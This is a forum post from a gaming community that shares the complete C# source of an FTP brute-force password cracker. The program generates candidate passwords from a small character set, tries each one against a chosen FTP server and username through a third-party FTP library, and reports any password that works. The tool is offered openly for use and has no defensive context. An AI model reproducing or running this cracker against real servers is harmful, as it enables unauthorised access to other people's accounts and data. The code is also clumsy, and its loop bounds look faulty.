Go Back   MPG - MultiPlayer Gamerz > Programming/Web Design > Programming Help and Discussion > C and C++

Notices

Reply
 
LinkBack Thread Tools
Old 12-17-2008, 12:51 PM   #1 (permalink)
 
HiHaTeR*'s Avatar
 

Join Date: Dec 2008
Location: With Your Mom
Posts: 24
Thanks: 5
Thanked 4 Times in 2 Posts
FTP Brute Force

Source Code for an FTP Bruter Force

Credits to my friend fjux

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;

namespace FTP_password
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void crack_Click(object sender, EventArgs e)
        {
            

            bool correct = false;
            progressBar1.Step = 1;
            progressBar1.Maximum = 100;
            progressBar1.Minimum = 0;
            progressBar1.Value = 0;
            int bijop = 0;
            int bijop2 = 0;
            int bijop3 = 0;
            int bijop4 = 0;
            int bijop5 = 0;
            int bijop6 = 0;
            int bijop7 = 0;
            int bijop8 = 0;
            string alfabet = "alien1990";
            double tweelettersaant = Math.Pow(Convert.ToDouble(alfabet.Length),2) + (alfabet.Length - 1);
            double drielettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 3) + tweelettersaant;
            double vierlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 4) + drielettersaant;
            double vijflettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 5) + vierlettersaant;
            double zeslettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 6) + vijflettersaant;
            double zevenlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 7) + zeslettersaant;
            double achtlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length),8) + zevenlettersaant;
            double negenlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 9) + achtlettersaant;
            string test = "";
            int tweeletters = 0;
            int drieletters1 = 0;
            int drieletters2 = 0;
            int vierletters1 = 0;
            int vierletters2 = 0;
            int vierletters3 = 0;
            int vijfletters1 = 0;
            int vijfletters2 = 0;
            int vijfletters3 = 0;
            int vijfletters4 = 0;
            int zesletters1 = 0;
            int zesletters2 = 0;
            int zesletters3 = 0;
            int zesletters4 = 0;
            int zesletters5 = 0;
            int zevenletters1 = 0;
            int zevenletters2 = 0;
            int zevenletters3 = 0;
            int zevenletters4 = 0;
            int zevenletters5 = 0;
            int zevenletters6 = 0;
            int achtletters1 = 0;
            int achtletters2 = 0;
            int achtletters3 = 0;
            int achtletters4 = 0;
            int achtletters5 = 0;
            int achtletters6 = 0;
            int achtletters7 = 0;
            int negenletters1 = 0;
            int negenletters2 = 0;
            int negenletters3 = 0;
            int negenletters4 = 0;
            int negenletters5 = 0;
            int negenletters6 = 0;
            int negenletters7 = 0;
            int negenletters8 = 0;

            for (int i = Convert.ToInt32(vijflettersaant) + 1; i <= negenlettersaant; i++)
            {
                //i = 5799;
                //listBox1.Items.Add(i + " passwords tried.");

                /*
                if (i == negenlettersaant / 100 * progressBar1.Value)
               
                    progressBar1.PerformStep();
                }

                 */
                //progressBar1.PerformStep();
                if (i <= (alfabet.Length - 1))
                {
                    test = alfabet.Substring(i, 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                }
                if (i > (alfabet.Length -1) && i <= tweelettersaant)
                {

                    test = alfabet.Substring(tweeletters, 1) 
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test,Usertext.Text,Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username "+ Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        tweeletters++;
                        bijop = 0;
                    }
                    //progressBar1.PerformStep();

                }
                if (i > tweelettersaant && i <= drielettersaant)
                {
                    test = alfabet.Substring(drieletters1, 1) 
                        + alfabet.Substring(drieletters2, 1) 
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        drieletters2++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        drieletters1++;
                        drieletters2 = 0;
                        bijop2 = 0;
                    }
                    //progressBar1.PerformStep();
                }
                if (i > drielettersaant && i <= vierlettersaant)
                {
                    test = alfabet.Substring(vierletters1, 1) 
                        + alfabet.Substring(vierletters2, 1) 
                        + alfabet.Substring(vierletters3, 1) 
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        vierletters3++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        vierletters2++;
                        vierletters3 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        vierletters1++;
                        vierletters2 = 0;
                        bijop3 = 0;
                    }
                    //progressBar1.PerformStep();
                }
                if (i > vierlettersaant && i <= vijflettersaant)
                {
                    
                    test = alfabet.Substring(vijfletters1, 1) 
                        + alfabet.Substring(vijfletters2, 1) 
                        + alfabet.Substring(vijfletters3, 1) 
                        + alfabet.Substring(vijfletters4, 1) 
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        vijfletters4++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        vijfletters3++;
                        vijfletters4 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        vijfletters2++;
                        vijfletters3 = 0;
                        bijop3 = 0;
                        bijop4++;
                    }
                    if (bijop4 == alfabet.Length)
                    {
                        vijfletters1++;
                        vijfletters2 = 0;
                        bijop4 = 0;
                    }
                    //progressBar1.PerformStep();
                }
                if (i > vijflettersaant && i <= zeslettersaant)
                {
                    test = alfabet.Substring(zesletters1, 1)
                        + alfabet.Substring(zesletters2, 1)
                        + alfabet.Substring(zesletters3, 1)
                        + alfabet.Substring(zesletters4, 1)
                        + alfabet.Substring(zesletters5, 1)
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        zesletters5++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        zesletters4++;
                        zesletters5 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        zesletters3++;
                        zesletters4 = 0;
                        bijop3 = 0;
                        bijop4++;
                    }
                    if (bijop4 == alfabet.Length)
                    {
                        zesletters2++;
                        zesletters3 = 0;
                        bijop4 = 0;
                        bijop5++;
                    }
                    if (bijop5 == alfabet.Length)
                    {
                        zesletters1++;
                        zesletters2 = 0;
                        bijop5 = 0;
                    }
                   
                }
                if (i > zeslettersaant && i <= zevenlettersaant)
                {
                    test = alfabet.Substring(zevenletters1, 1)
                        + alfabet.Substring(zevenletters2, 1)
                        + alfabet.Substring(zevenletters3, 1)
                        + alfabet.Substring(zevenletters4, 1)
                        + alfabet.Substring(zevenletters5, 1)
                        + alfabet.Substring(zevenletters6, 1)
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        zevenletters6++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        zevenletters5++;
                        zevenletters6 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        zevenletters4++;
                        zevenletters5 = 0;
                        bijop3 = 0;
                        bijop4++;
                    }
                    if (bijop4 == alfabet.Length)
                    {
                        zevenletters3++;
                        zevenletters4 = 0;
                        bijop4 = 0;
                        bijop5++;
                    }
                    if (bijop5 == alfabet.Length)
                    {
                        zevenletters2++;
                        zevenletters3 = 0;
                        bijop5 = 0;
                        bijop6++;
                    }
                    if (bijop6 == alfabet.Length)
                    {
                        zevenletters1++;
                        zevenletters2 = 0;
                        bijop6 = 0;
                    }

                }
                if (i > zevenlettersaant && i <= achtlettersaant)
                {
                    test = alfabet.Substring(achtletters1, 1)
                        + alfabet.Substring(achtletters2, 1)
                        + alfabet.Substring(achtletters3, 1)
                        + alfabet.Substring(achtletters4, 1)
                        + alfabet.Substring(achtletters5, 1)
                        + alfabet.Substring(achtletters6, 1)
                        + alfabet.Substring(achtletters7, 1)
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        achtletters7++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        achtletters6++;
                        achtletters7 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        achtletters5++;
                        achtletters6 = 0;
                        bijop3 = 0;
                        bijop4++;
                    }
                    if (bijop4 == alfabet.Length)
                    {
                        achtletters4++;
                        achtletters5 = 0;
                        bijop4 = 0;
                        bijop5++;
                    }
                    if (bijop5 == alfabet.Length)
                    {
                        achtletters3++;
                        achtletters4 = 0;
                        bijop5 = 0;
                        bijop6++;
                    }
                    if (bijop6 == alfabet.Length)
                    {
                        achtletters2++;
                        achtletters3 = 0;
                        bijop6 = 0;
                        bijop7++;
                    }
                    if (bijop7 == alfabet.Length)
                    {
                        achtletters1++;
                        achtletters2 = 0;
                        bijop7 = 0;
                    }
                }
                if (i > achtlettersaant && i <= negenlettersaant)
                {
                    test = alfabet.Substring(negenletters1, 1)
                        + alfabet.Substring(negenletters2, 1)
                        + alfabet.Substring(negenletters3, 1)
                        + alfabet.Substring(negenletters4, 1)
                        + alfabet.Substring(negenletters5, 1)
                        + alfabet.Substring(negenletters6, 1)
                        + alfabet.Substring(negenletters7, 1)
                        + alfabet.Substring(negenletters8, 1)
                        + alfabet.Substring((i % alfabet.Length), 1);
                    if (Ftpcheck(test, Usertext.Text, Servertext.Text))
                    {
                        correct = true;
                        MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
                        break;
                    }
                    bijop++;
                    if (bijop == alfabet.Length)
                    {
                        negenletters8++;
                        bijop = 0;
                        bijop2++;
                    }
                    if (bijop2 == alfabet.Length)
                    {
                        negenletters7++;
                        negenletters8 = 0;
                        bijop2 = 0;
                        bijop3++;
                    }
                    if (bijop3 == alfabet.Length)
                    {
                        negenletters6++;
                        negenletters7 = 0;
                        bijop3 = 0;
                        bijop4++;
                    }
                    if (bijop4 == alfabet.Length)
                    {
                        negenletters5++;
                        negenletters6 = 0;
                        bijop4 = 0;
                        bijop5++;
                    }
                    if (bijop5 == alfabet.Length)
                    {
                        negenletters4++;
                        negenletters5 = 0;
                        bijop5 = 0;
                        bijop6++;
                    }
                    if (bijop6 == alfabet.Length)
                    {
                        negenletters3++;
                        negenletters4 = 0;
                        bijop6 = 0;
                        bijop7++;
                    }
                    if (bijop7 == alfabet.Length)
                    {
                        negenletters2++;
                        negenletters3 = 0;
                        bijop7 = 0;
                        bijop8++;
                    }
                    if (bijop8 == alfabet.Length)
                    {
                        negenletters1++;
                        negenletters2 = 0;
                        bijop8 = 0;
                    }

                }


            }
            if (correct == false)
            {
                MessageBox.Show("no passwords found");
            }

            
        }//end button click
        public bool Ftpcheck(string ftpPassword, string ftpUserID, string ftpServer)
        {
            bool succes;
            Chilkat.Ftp2 ftp = new Chilkat.Ftp2();
            ftp.Hostname = ftpServer;
            ftp.Username = ftpUserID;
            ftp.Password = ftpPassword;

            succes = ftp.Connect();
            return succes;

        }
    }
}
HiHaTeR* is offline   Reply With Quote
Sponsored Links
Reply

Bookmarks

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump





Powered by vBulletin® Version 3.7.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
MultiPlayer Gamerz | Visits: